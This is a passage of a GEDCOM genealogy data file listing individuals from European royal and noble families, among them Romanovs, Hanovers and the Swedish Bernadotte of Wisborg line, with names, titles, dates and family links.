+0 @I2643@ INDI
+1 NAME Gonzalo  //
+1 SEX M
+1 BIRT
+2 DATE        1914
+1 DEAT
+2 DATE        1934
+1 FAMC @F143@
+0 @I2644@ INDI
+1 NAME Henry C. /Marone/
+1 SEX M
+1 BIRT
+2 DATE        1895
+1 DEAT
+2 DATE        1968
+1 FAMS @F1250@
+0 @I2645@ INDI
+1 NAME Alexander of_Civitella- Cessi/Torlonia/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1911
+1 FAMS @F1251@
+0 @I2646@ INDI
+1 NAME Emmanuela de_Dampierre //
+1 SEX F
+1 BIRT
+2 DATE        1913
+1 FAMS @F1252@
+0 @I2647@ INDI
+1 NAME Charlotte  /Tiedemann/
+1 SEX F
+1 BIRT
+2 DATE        1919
+1 FAMS @F1253@
+0 @I2648@ INDI
+1 NAME Ferdinand of_Bavaria //
+1 SEX M
+1 BIRT
+2 DATE        1884
+1 DEAT
+2 DATE        1958
+1 FAMS @F1254@
+1 FAMC @F1255@
+0 @I2649@ INDI
+1 NAME Louis Ferdinand of_Bavaria//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1859
+1 DEAT
+2 DATE        1949
+1 FAMS @F1255@
+0 @I2650@ INDI
+1 NAME Maria de_la_Paz //
+1 SEX F
+1 BIRT
+2 DATE        1862
+1 DEAT
+2 DATE        1946
+1 FAMS @F1255@
+0 @I2651@ INDI
+1 NAME Adolph of_Schwarzburg- Rudolstadt//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1801
+1 DEAT
+2 DATE        1875
+1 FAMS @F1256@
+0 @I2652@ INDI
+1 NAME Matilda  //
+1 SEX F
+1 BIRT
+2 DATE        1826
+1 DEAT
+2 DATE        1914
+1 FAMS @F1256@
+0 @I2653@ INDI
+1 NAME Frederica  //
+1 SEX F
+1 BIRT
+2 DATE        1770
+1 DEAT
+2 DATE        1819
+1 FAMS @F1257@
+1 FAMC @F239@
+0 @I2654@ INDI
+1 NAME Alexandrine  //
+1 SEX F
+1 BIRT
+2 DATE        1803
+1 DEAT
+2 DATE        1892
+1 FAMS @F183@
+1 FAMC @F145@
+0 @I2655@ INDI
+1 NAME Frederick  //
+1 SEX M
+1 BIRT
+2 DATE        1774
+1 DEAT
+2 DATE        1799
+1 FAMC @F239@
+0 @I2656@ INDI
+1 NAME Amalia  //
+1 SEX F
+1 BIRT
+2 DATE        1830
+1 DEAT
+2 DATE        1872
+1 FAMS @F1258@
+0 @I2657@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE        1855
+1 DEAT
+2 DATE        1888
+1 FAMS @F1259@
+0 @I2658@ INDI
+1 NAME Lucas  /Streshniev/
+1 SEX M
+1 DEAT
+2 DATE        1650
+1 FAMS @F1260@
+0 @I2659@ INDI
+1 NAME Anne  /Volkonska/
+1 SEX F
+1 FAMS @F1260@
+1 FAMC @F1378@
+0 @I2660@ INDI
+1 NAME Theodore  //
+1 TITL Patr. of Moscow
+1 SEX M
+1 DEAT
+2 DATE        1633
+1 FAMS @F1261@
+0 @I2661@ INDI
+1 NAME Xenia  //
+1 SEX F
+1 DEAT
+2 DATE        1631
+1 FAMS @F1261@
+1 FAMC @F1376@
+0 @I2662@ INDI
+1 NAME Anne  /Leontiev/
+1 SEX F
+1 DEAT
+2 DATE        1706
+1 FAMS @F483@
+1 FAMC @F1262@
+0 @I2663@ INDI
+1 NAME Leonti  /Leontiev/
+1 SEX M
+1 FAMS @F1262@
+0 @I2664@ INDI
+1 NAME Praskovia  /Rayevska/
+1 SEX F
+1 DEAT
+2 DATE        1641
+1 FAMS @F1262@
+1 FAMC @F1377@
+0 @I2665@ INDI
+1 NAME Nicholas  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1831
+1 DEAT
+2 DATE        1891
+1 FAMS @F1263@
+1 FAMC @F10@
+0 @I2666@ INDI
+1 NAME Michael  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1832
+1 DEAT
+2 DATE        1909
+1 FAMS @F1264@
+1 FAMC @F10@
+0 @I2667@ INDI
+1 NAME Alexandra  //
+1 SEX F
+1 BIRT
+2 DATE        1838
+1 DEAT
+2 DATE        1900
+1 FAMS @F1263@
+0 @I2668@ INDI
+1 NAME Cecily (Olga) //
+1 SEX F
+1 BIRT
+2 DATE        1839
+1 DEAT
+2 DATE        1891
+1 FAMS @F1264@
+0 @I2669@ INDI
+1 NAME Nicholas  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1859
+1 DEAT
+2 DATE        1919
+1 FAMC @F1264@
+0 @I2670@ INDI
+1 NAME Michael  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1861
+1 DEAT
+2 DATE        1929
+1 FAMS @F1266@
+1 FAMC @F1264@
+0 @I2671@ INDI
+1 NAME Constantine  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1858
+1 DEAT
+2 DATE        1915
+1 FAMS @F1268@
+1 FAMC @F112@
+0 @I2672@ INDI
+1 NAME Sergius  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1918
+1 FAMC @F1264@
+0 @I2673@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE        1876
+1 DEAT
+2 DATE        1940
+1 FAMS @F1265@
+1 FAMS @F1336@
+1 FAMC @F75@
+0 @I2674@ INDI
+1 NAME George  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1863
+1 DEAT
+2 DATE        1919
+1 FAMS @F1265@
+1 FAMC @F1264@
+0 @I2675@ INDI
+1 NAME Alexander Mikhailovich (Sandro)/Romanov/
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1866
+1 DEAT
+2 DATE        1933
+1 FAMS @F51@
+1 FAMC @F1264@
+0 @I2676@ INDI
+1 NAME Sophia of_Nassau //
+1 SEX F
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1927
+1 FAMS @F1266@
+0 @I2677@ INDI
+1 NAME Dimitri  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1860
+1 DEAT
+2 DATE        1919
+1 FAMC @F112@
+0 @I2678@ INDI
+1 NAME Nadezhda  /Dreyer/
+1 SEX F
+1 BIRT
+2 DATE        1861
+1 DEAT
+2 DATE        1929
+1 FAMS @F1267@
+0 @I2679@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 BIRT
+2 DATE        1865
+1 DEAT
+2 DATE        1929
+1 FAMS @F1268@
+1 FAMC @F1269@
+0 @I2680@ INDI
+1 NAME Maurice of_Saxe- Altenburg//
+1 TITL Prince
+1 SEX M
+1 FAMS @F1269@
+0 @I2681@ INDI
+1 NAME Artemi  /Romanov/
+1 TITL Prince Iskander
+1 SEX M
+1 BIRT
+2 DATE        1881
+1 DEAT
+2 DATE        1919
+1 FAMC @F1267@
+0 @I2682@ INDI
+1 NAME Frederick Francis_II of_Mecklengb-Sch//
+1 TITL Grand Duke
+1 SEX M
+1 FAMS @F1270@
+0 @I2683@ INDI
+1 NAME George Bagration- Mukhranski//
+1 TITL Prince
+1 SEX M
+1 FAMS @F1271@
+0 @I2684@ INDI
+1 NAME Ivan  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1886
+1 DEAT
+2 DATE        1918
+1 FAMS @F1272@
+1 FAMC @F1268@
+0 @I2685@ INDI
+1 NAME Constantine  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1891
+1 DEAT
+2 DATE        1918
+1 FAMC @F1268@
+0 @I2686@ INDI
+1 NAME Igor  /Romanov/
+1 SEX M
+1 BIRT
+2 DATE        1894
+1 DEAT
+2 DATE        1918
+1 FAMC @F1268@
+0 @I2687@ INDI
+1 NAME Helen  //
+1 SEX F
+1 BIRT
+2 DATE        1881
+1 DEAT
+2 DATE        1962
+1 FAMS @F1272@
+1 FAMC @F1273@
+0 @I2688@ INDI
+1 NAME Peter_I  //
+1 TITL King of Serbia
+1 SEX M
+1 FAMS @F1273@
+0 @I2689@ INDI
+1 NAME Frederick Eugene of_Wurttemberg//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1732
+1 DEAT
+2 DATE        1797
+1 FAMS @F1274@
+0 @I2690@ INDI
+1 NAME Dorothea of_Brandenburg -Schwedt//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1736
+1 DEAT
+2 DATE        1798
+1 FAMS @F1274@
+0 @I2691@ INDI
+1 NAME Christian Augustus //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1690
+1 DEAT
+2 DATE        1747
+1 FAMS @F1275@
+0 @I2692@ INDI
+1 NAME Joanna  //
+1 SEX F
+1 BIRT
+2 DATE        1712
+1 DEAT
+2 DATE        1760
+1 FAMS @F1275@
+0 @I2693@ INDI
+1 NAME Peter  /Oldenburg/
+1 SEX M
+1 BIRT
+2 DATE        1908
+1 DEAT
+2 DATE        1980
+1 FAMS @F1331@
+1 FAMC @F1276@
+0 @I2694@ INDI
+1 NAME John of_Brandenburg //
+1 TITL Margrave
+1 SEX M
+1 FAMS @F1277@
+0 @I2695@ INDI
+1 NAME Frederick Francis_III Mecklenburg-Schw//
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1851
+1 DEAT
+2 DATE        1897
+1 FAMS @F1278@
+0 @I2696@ INDI
+1 NAME Anastasia  //
+1 SEX F
+1 BIRT
+2 DATE        1860
+1 DEAT
+2 DATE        1922
+1 FAMS @F1278@
+0 @I2697@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1875
+1 DEAT
+2 DATE        1906
+1 FAMS @F1279@
+1 FAMC @F218@
+0 @I2698@ INDI
+1 NAME Frederick of_Schaumburg -Lippe//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1945
+1 FAMS @F1279@
+0 @I2699@ INDI
+1 NAME Feodora  //
+1 SEX F
+1 BIRT
+2 DATE        1910
+1 DEAT
+2 DATE        1975
+1 FAMC @F652@
+0 @I2700@ INDI
+1 NAME Alexandrine Louise //
+1 SEX F
+1 BIRT
+2 DATE        1914
+1 DEAT
+2 DATE        1962
+1 FAMC @F652@
+0 @I2701@ INDI
+1 NAME Gorm  //
+1 SEX M
+1 BIRT
+2 DATE        1919
+1 FAMC @F652@
+0 @I2702@ INDI
+1 NAME Oluf of_Rosenborg //
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1923
+1 FAMS @F1280@
+1 FAMC @F652@
+0 @I2703@ INDI
+1 NAME Helen  /Dorrit/
+1 SEX F
+1 BIRT
+2 DATE        1926
+1 FAMS @F1280@
+0 @I2704@ INDI
+1 NAME Inge  /Terney/
+1 SEX F
+1 BIRT
+2 DATE        1938
+1 FAMS @F1281@
+0 @I2705@ INDI
+1 NAME Charles Augustus /Haraldsen/
+1 SEX M
+1 FAMS @F1282@
+0 @I2706@ INDI
+1 NAME Guelph  /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1947
+1 DEAT
+2 DATE        1981
+1 FAMS @F1283@
+1 FAMC @F391@
+0 @I2707@ INDI
+1 NAME George  /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1949
+1 FAMS @F1284@
+1 FAMC @F391@
+0 @I2708@ INDI
+1 NAME Fredericka  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1954
+1 FAMC @F391@
+0 @I2709@ INDI
+1 NAME Wilbeke  /von_Gunsteren/
+1 SEX F
+1 BIRT
+2 DATE        1948
+1 FAMS @F1283@
+0 @I2710@ INDI
+1 NAME Victoria  /Bee/
+1 SEX F
+1 BIRT
+2 DATE        1951
+1 FAMS @F1284@
+0 @I2711@ INDI
+1 NAME Caroline Louise /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1965
+1 FAMC @F389@
+0 @I2712@ INDI
+1 NAME Mireille  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1971
+1 FAMC @F389@
+0 @I2713@ INDI
+1 NAME John Kenneth /Ambler/
+1 SEX M
+1 BIRT
+2 DATE  6 JUN 1924
+1 FAMS @F1285@
+0 @I2714@ INDI
+1 NAME Sybilla Louise //
+1 SEX F
+1 BIRT
+2 DATE 14 APR 1965
+1 FAMC @F1285@
+0 @I2715@ INDI
+1 NAME Charles Edward //
+1 SEX M
+1 BIRT
+2 DATE 14 JUL 1966
+1 FAMC @F1285@
+0 @I2716@ INDI
+1 NAME James Patrick //
+1 SEX M
+1 BIRT
+2 DATE 10 JUN 1969
+1 FAMC @F1285@
+0 @I2717@ INDI
+1 NAME Johann Georg of_Hohenzollern//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 31 JUL 1932
+1 FAMS @F1286@
+0 @I2718@ INDI
+1 NAME Carl Christian //
+1 SEX M
+1 BIRT
+2 DATE  5 APR 1962
+1 FAMC @F1286@
+0 @I2719@ INDI
+1 NAME Desiree Margaretha Victoria//
+1 SEX F
+1 BIRT
+2 DATE 27 NOV 1963
+1 FAMC @F1286@
+0 @I2720@ INDI
+1 NAME Hubertus Gustaf Adolf//
+1 SEX M
+1 BIRT
+2 DATE 10 JUN 1966
+1 FAMC @F1286@
+0 @I2721@ INDI
+1 NAME Nicholas  /Silfverschiold/
+1 TITL Baron
+1 SEX M
+1 BIRT
+2 DATE 31 MAY 1934
+1 FAMS @F1287@
+0 @I2722@ INDI
+1 NAME Carl Otto Edmund//
+1 SEX M
+1 BIRT
+2 DATE 22 MAR 1965
+1 FAMC @F1287@
+0 @I2723@ INDI
+1 NAME Christina Louise //
+1 SEX F
+1 BIRT
+2 DATE 29 SEP 1966
+1 FAMC @F1287@
+0 @I2724@ INDI
+1 NAME Helene Ingeborg //
+1 SEX F
+1 BIRT
+2 DATE 20 SEP 1968
+1 FAMC @F1287@
+0 @I2725@ INDI
+1 NAME Tord Gosta /Magnuson/
+1 SEX M
+1 BIRT
+2 DATE  7 APR 1941
+1 FAMS @F1288@
+0 @I2726@ INDI
+1 NAME Carl Gustaf Victor//
+1 SEX M
+1 BIRT
+2 DATE  8 AUG 1975
+1 FAMC @F1288@
+0 @I2727@ INDI
+1 NAME Tord Oscar Fredrik//
+1 SEX M
+1 BIRT
+2 DATE 20 JUN 1977
+1 FAMC @F1288@
+0 @I2728@ INDI
+1 NAME Victor Edmund Lennart//
+1 SEX M
+1 BIRT
+2 DATE 10 SEP 1980
+1 FAMC @F1288@
+0 @I2729@ INDI
+1 NAME Madeleine Therese Amelie//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 10 JUN 1982
+1 FAMC @F220@
+0 @I2730@ INDI
+1 NAME Marianne of_Wisborg /Lindberg/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE 15 JUL 1924
+1 FAMS @F1289@
+0 @I2731@ INDI
+1 NAME Lilian May of_Sweden/Davies/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 30 AUG 1915
+1 FAMS @F1290@
+0 @I2732@ INDI
+1 NAME Erika  /Patzek/
+1 SEX F
+1 BIRT
+2 DATE        1911
+2 PLAC ,Germany
+1 FAMS @F1291@
+0 @I2733@ INDI
+1 NAME Sonia  /Robbert/
+1 SEX F
+1 BIRT
+2 DATE        1909
+1 FAMS @F1292@
+0 @I2734@ INDI
+1 NAME Elin Kerstin Margareta/Wijkmark/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE  4 MAR 1910
+1 DEAT
+2 DATE 11 SEP 1987
+1 FAMS @F1293@
+0 @I2735@ INDI
+1 NAME Gunnila Martha Louise/Wachtmeister/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE 12 MAY 1923
+1 FAMS @F1294@
+0 @I2736@ INDI
+1 NAME Karin Emma Louise/Nissvandt/
+1 SEX F
+1 BIRT
+2 DATE  7 JUL 1911
+2 PLAC Nora,Sweden
+1 FAMS @F1295@
+0 @I2737@ INDI
+1 NAME Sonja Anita Maria/Hauntz/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE  7 MAY 1944
+1 FAMS @F1296@
+0 @I2738@ INDI
+1 NAME Carl Gustaf Oscar//
+1 TITL Prince of Sweden
+1 SEX M
+1 BIRT
+2 DATE 10 JAN 1911
+1 FAMS @F1327@
+1 FAMS @F1329@
+1 FAMS @F1297@
+1 FAMC @F215@
+0 @I2739@ INDI
+1 NAME Kristine  /Rivelsrud/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 22 APR 1932
+1 FAMS @F1297@
+0 @I2740@ INDI
+1 NAME Michael  //
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1944
+1 FAMS @F1298@
+1 FAMC @F1292@
+0 @I2741@ INDI
+1 NAME Christine  /Wellhoefer/
+1 SEX F
+1 BIRT
+2 DATE        1947
+1 FAMS @F1298@
+0 @I2742@ INDI
+1 NAME Monica  //
+1 SEX F
+1 BIRT
+2 DATE        1948
+1 FAMS @F1299@
+1 FAMC @F1293@
+0 @I2743@ INDI
+1 NAME Christian  //
+1 SEX M
+1 BIRT
+2 DATE        1949
+1 FAMC @F1293@
+0 @I2744@ INDI
+1 NAME Johan  /Bonde/
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1950
+1 FAMS @F1299@
+0 @I2745@ INDI
+1 NAME Birgitta  //
+1 SEX F
+1 BIRT
+2 DATE        1933
+1 FAMS @F1300@
+1 FAMC @F1295@
+0 @I2746@ INDI
+1 NAME Marie Louise //
+1 SEX F
+1 BIRT
+2 DATE        1935
+1 FAMS @F1301@
+1 FAMC @F1295@
+0 @I2747@ INDI
+1 NAME Jan  //
+1 SEX M
+1 BIRT
+2 DATE        1941
+1 FAMS @F1302@
+1 FAMS @F1303@
+1 FAMS @F1304@
+1 FAMS @F1305@
+1 FAMC @F1295@
+0 @I2748@ INDI
+1 NAME Cecilia  //
+1 SEX F
+1 BIRT
+2 DATE        1944
+1 FAMS @F1306@
+1 FAMC @F1295@
+0 @I2749@ INDI
+1 NAME Friedrich  /Straehl/
+1 SEX M
+1 BIRT
+2 DATE        1922
+1 FAMS @F1300@
+0 @I2750@ INDI
+1 NAME Friedrich  /Straehl/
+1 SEX M
+1 BIRT
+2 DATE        1956
+1 FAMC @F1300@
+0 @I2751@ INDI
+1 NAME Andreas  /Straehl/
+1 SEX M
+1 BIRT
+2 DATE        1957
+1 FAMC @F1300@
+0 @I2752@ INDI
+1 NAME Christina  /Straehl/
+1 SEX F
+1 BIRT
+2 DATE        1960
+1 FAMC @F1300@
+0 @I2753@ INDI
+1 NAME Desiree  /Straehl/
+1 SEX F
+1 BIRT
+2 DATE        1961
+1 FAMC @F1300@
+0 @I2754@ INDI
+1 NAME Stephan  /Straehl/
+1 SEX M
+1 BIRT
+2 DATE        1964
+1 FAMC @F1300@
+0 @I2755@ INDI
+1 NAME Rudolf  /Kautz/
+1 SEX M
+1 BIRT
+2 DATE        1930
+1 FAMS @F1301@
+0 @I2756@ INDI
+1 NAME Heinrich  /Kautz/
+1 SEX M
+1 BIRT
+2 DATE        1957
+1 FAMC @F1301@
+0 @I2757@ INDI
+1 NAME Karin  /Kautz/
+1 SEX F
+1 BIRT
+2 DATE        1958
+1 FAMC @F1301@
+0 @I2758@ INDI
+1 NAME Madeleine  /Kautz/
+1 SEX F
+1 BIRT
+2 DATE        1961
+1 FAMC @F1301@
+0 @I2759@ INDI
+1 NAME Gunilla  /Stampe/
+1 SEX F
+1 BIRT
+2 DATE        1941
+1 FAMS @F1302@
+0 @I2760@ INDI
+1 NAME Anna  /Skarne/
+1 SEX F
+1 BIRT
+2 DATE        1944
+1 FAMS @F1303@
+0 @I2761@ INDI
+1 NAME Sophia  //
+1 SEX F
+1 BIRT
+2 DATE        1968
+1 FAMC @F1303@
+0 @I2762@ INDI
+1 NAME Annegret  /Thomssen/
+1 SEX F
+1 BIRT
+2 DATE        1938
+1 FAMS @F1304@
+0 @I2763@ INDI
+1 NAME Cecilia  //
+1 SEX F
+1 BIRT
+2 DATE        1971
+1 FAMC @F1304@
+0 @I2764@ INDI
+1 NAME Maritta  /Berg/
+1 SEX F
+1 BIRT
+2 DATE        1953
+1 FAMS @F1305@
+0 @I2765@ INDI
+1 NAME Son  //
+1 SEX M
+1 BIRT
+2 DATE        1977
+1 FAMC @F1305@
+0 @I2766@ INDI
+1 NAME Hans-Jorg  /Baenkler/
+1 SEX M
+1 BIRT
+2 DATE        1939
+1 FAMS @F1306@
+0 @I2767@ INDI
+1 NAME Bettina  //
+1 SEX F
+1 BIRT
+2 DATE        1974
+1 FAMC @F1296@
+0 @I2768@ INDI
+1 NAME Bjorn  //
+1 SEX M
+1 BIRT
+2 DATE        1975
+1 FAMC @F1296@
+0 @I2769@ INDI
+1 NAME Catherina  //
+1 SEX F
+1 BIRT
+2 DATE        1977
+1 FAMC @F1296@
+0 @I2770@ INDI
+1 NAME Oscar  //
+1 TITL Count of Wisborg
+1 SEX M
+1 BIRT
+2 DATE        1859
+1 DEAT
+2 DATE        1953
+1 FAMS @F1307@
+1 FAMC @F156@
+0 @I2771@ INDI
+1 NAME Eugene  //
+1 TITL Duke of Narke
+1 SEX M
+1 BIRT
+2 DATE        1865
+1 DEAT
+2 DATE        1947
+1 FAMC @F156@
+0 @I2772@ INDI
+1 NAME Ebba of_Fulkila /Munck/
+1 SEX F
+1 BIRT
+2 DATE        1858
+1 DEAT
+2 DATE        1946
+1 FAMS @F1307@
+1 FAMC @F1308@
+0 @I2773@ INDI
+1 NAME Maria Bernadotte //
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1889
+1 DEAT
+2 DATE        1974
+1 FAMC @F1307@
+0 @I2774@ INDI
+1 NAME Carl Bernadotte //
+1 TITL Count of Wisborg
+1 SEX M
+1 BIRT
+2 DATE        1890
+1 DEAT
+2 DATE        1977
+1 FAMS @F1309@
+1 FAMS @F1320@
+1 FAMC @F1307@
+0 @I2775@ INDI
+1 NAME Sophia Bernadotte of_Wisborg//
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1892
+1 DEAT
+2 DATE        1936
+1 FAMS @F1322@
+1 FAMC @F1307@
+0 @I2776@ INDI
+1 NAME Elsa Bernadotte of_Wisborg//
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1893
+1 FAMS @F1323@
+1 FAMC @F1307@
+0 @I2777@ INDI
+1 NAME Folke Bernadotte //
+1 TITL Count of Wisborg
+1 SEX M
+1 BIRT
+2 DATE        1895
+1 DEAT
+2 DATE        1948
+1 FAMS @F1324@
+1 FAMC @F1307@
+0 @I2778@ INDI
+1 NAME Charles of_Fulkila /Munck/
+1 SEX M
+1 FAMS @F1308@
+0 @I2779@ INDI
+1 NAME Marianne of_Leufsta /de_Geer/
+1 TITL Baroness
+1 SEX F
+1 BIRT
+2 DATE        1893
+1 FAMS @F1309@
+0 @I2780@ INDI
+1 NAME Dagmar  //
+1 SEX F
+1 BIRT
+2 DATE        1916
+1 FAMS @F1310@
+1 FAMC @F1309@
+0 @I2781@ INDI
+1 NAME Oscar  //
+1 SEX M
+1 BIRT
+2 DATE        1921
+1 FAMS @F1315@
+1 FAMS @F1317@
+1 FAMC @F1309@
+0 @I2782@ INDI
+1 NAME Catharina  //
+1 SEX F
+1 BIRT
+2 DATE        1926
+1 FAMS @F1319@
+1 FAMC @F1309@
+0 @I2783@ INDI
+1 NAME Nils Magnus /von_Arbin/
+1 SEX M
+1 BIRT
+2 DATE        1910
+1 FAMS @F1310@
+0 @I2784@ INDI
+1 NAME Marianne  /von_Arbin/
+1 SEX F
+1 BIRT
+2 DATE        1937
+1 FAMS @F1311@
+1 FAMC @F1310@
+0 @I2785@ INDI
+1 NAME Louise  /von_Arbin/
+1 SEX F
+1 BIRT
+2 DATE        1940
+1 FAMS @F1312@
+1 FAMC @F1310@
+0 @I2786@ INDI
+1 NAME Catherine  /von_Arbin/
+1 SEX F
+1 BIRT
+2 DATE        1946
+1 FAMS @F1313@
+1 FAMC @F1310@
+0 @I2787@ INDI
+1 NAME Jeanette  /von_Arbin/
+1 SEX F
+1 BIRT
+2 DATE        1951
+1 FAMS @F1314@
+1 FAMC @F1310@
+0 @I2788@ INDI
+1 NAME Madeleine  /von_Arbin/
+1 SEX F
+1 BIRT
+2 DATE        1955
+1 FAMC @F1310@
+0 @I2789@ INDI
+1 NAME Miles  /Flach/
+1 TITL Capt.
+1 SEX M
+1 BIRT
+2 DATE        1934
+1 FAMS @F1311@
+0 @I2790@ INDI
+1 NAME Camilla  /Flach/
+1 SEX F
+1 BIRT
+2 DATE        1960
+1 FAMC @F1311@
+0 @I2791@ INDI
+1 NAME Dick  /Bergstrom/
+1 SEX M
+1 BIRT
+2 DATE        1936
+1 FAMS @F1312@
+0 @I2792@ INDI
+1 NAME Therese  /Bergstrom/
+1 SEX F
+1 BIRT
+2 DATE        1963
+1 FAMC @F1312@
+0 @I2793@ INDI
+1 NAME Michael  /Bergstrom/
+1 SEX M
+1 BIRT
+2 DATE        1965
+1 FAMC @F1312@
+0 @I2794@ INDI
+1 NAME Johan  /Ryding/
+1 SEX M
+1 BIRT
+2 DATE        1943
+1 FAMS @F1313@
+0 @I2795@ INDI
+1 NAME Gustaf  /Ryding/
+1 SEX M
+1 BIRT
+2 DATE        1971
+1 FAMC @F1313@
+0 @I2796@ INDI
+1 NAME Charlotte  /Ryding/
+1 SEX F
+1 BIRT
+2 DATE        1974
+1 FAMC @F1313@
+0 @I2797@ INDI
+1 NAME Esben  /Coljach/
+1 SEX M
+1 BIRT
+2 DATE        1947
+1 FAMS @F1314@
+0 @I2798@ INDI
+1 NAME Ebba  /Gyllenkrok/
+1 SEX F
+1 BIRT
+2 DATE        1918
+1 FAMS @F1315@
+0 @I2799@ INDI
+1 NAME Ebba  //
+1 SEX F
+1 BIRT
+2 DATE        1945
+1 FAMS @F1316@
+1 FAMC @F1315@
+0 @I2800@ INDI
+1 NAME Pontus  /Reutersward/
+1 SEX M
+1 BIRT
+2 DATE        1943
+1 FAMS @F1316@
+0 @I2801@ INDI
+1 NAME Gustaf  /Reutersward/
+1 SEX M
+1 BIRT
+2 DATE        1971
+1 FAMC @F1316@
+0 @I2802@ INDI
+1 NAME Anna  /Reutersward/
+1 SEX F
+1 BIRT
+2 DATE        1973
+1 FAMC @F1316@
+0 @I2803@ INDI
+1 NAME Gertrude  /Ollen/
+1 SEX F
+1 BIRT
+2 DATE        1916
+1 FAMS @F1317@
+0 @I2804@ INDI
+1 NAME Christina  //
+1 SEX F
+1 BIRT
+2 DATE        1951
+1 FAMS @F1318@
+1 FAMC @F1317@
+0 @I2805@ INDI
+1 NAME Peter  /Langenskiold/
+1 TITL Baron
+1 SEX M
+1 BIRT
+2 DATE        1950
+1 FAMS @F1318@
+0 @I2806@ INDI
+1 NAME Birgitta  //
+1 SEX F
+1 BIRT
+2 DATE        1953
+1 FAMC @F1317@
+0 @I2807@ INDI
+1 NAME Carl  //
+1 SEX M
+1 BIRT
+2 DATE        1955
+1 FAMC @F1317@
+0 @I2808@ INDI
+1 NAME Tore  /Nilert/
+1 SEX M
+1 BIRT
+2 DATE        1915
+1 FAMS @F1319@
+0 @I2809@ INDI
+1 NAME Jan  /Nilert/
+1 SEX M
+1 BIRT
+2 DATE        1950
+1 FAMC @F1319@
+0 @I2810@ INDI
+1 NAME Charlotte  /Nilert/
+1 SEX F
+1 BIRT
+2 DATE        1952
+1 FAMC @F1319@
+0 @I2811@ INDI
+1 NAME Anne Marie /Nilert/
+1 SEX F
+1 BIRT
+2 DATE        1954
+1 FAMC @F1319@
+0 @I2812@ INDI
+1 NAME Gerty  /Borjesson/
+1 SEX F
+1 BIRT
+2 DATE        1910
+1 FAMS @F1320@
+0 @I2813@ INDI
+1 NAME Claes  //
+1 SEX M
+1 BIRT
+2 DATE        1942
+1 FAMS @F1321@
+1 FAMC @F1320@
+0 @I2814@ INDI
+1 NAME Birgitta  /Magnusson/
+1 SEX F
+1 BIRT
+2 DATE        1943
+1 FAMS @F1321@
+0 @I2815@ INDI
+1 NAME Carl Johann //
+1 SEX M
+1 BIRT
+2 DATE        1970
+1 FAMC @F1321@
+0 @I2816@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1973
+1 FAMC @F1321@
+0 @I2817@ INDI
+1 NAME Carl Marten /Fleetwood/
+1 TITL Baron
+1 SEX M
+1 BIRT
+2 DATE        1885
+1 DEAT
+2 DATE        1966
+1 FAMS @F1322@
+0 @I2818@ INDI
+1 NAME Hugo  /Cedergren/
+1 SEX M
+1 BIRT
+2 DATE        1891
+1 DEAT
+2 DATE        1971
+1 FAMS @F1323@
+0 @I2819@ INDI
+1 NAME Estelle  /Manville/
+1 SEX F
+1 BIRT
+2 DATE        1904
+1 FAMS @F1324@
+0 @I2820@ INDI
+1 NAME Gustaf  //
+1 SEX M
+1 BIRT
+2 DATE        1930
+1 DEAT
+2 DATE        1966
+1 FAMC @F1324@
+0 @I2821@ INDI
+1 NAME Folke  //
+1 SEX M
+1 BIRT
+2 DATE        1931
+1 FAMS @F1325@
+1 FAMC @F1324@
+0 @I2822@ INDI
+1 NAME Fredrik Oscar //
+1 SEX M
+1 BIRT
+2 DATE        1934
+1 DEAT
+2 DATE        1934
+1 FAMC @F1324@
+0 @I2823@ INDI
+1 NAME Bertil  //
+1 SEX M
+1 BIRT
+2 DATE        1925
+1 FAMC @F1324@
+0 @I2824@ INDI
+1 NAME Christine  /Glahns/
+1 SEX F
+1 BIRT
+2 DATE        1932
+1 FAMS @F1325@
+0 @I2825@ INDI
+1 NAME Anna  //
+1 SEX F
+1 BIRT
+2 DATE        1956
+1 FAMC @F1325@
+0 @I2826@ INDI
+1 NAME Folke  //
+1 SEX M
+1 BIRT
+2 DATE        1958
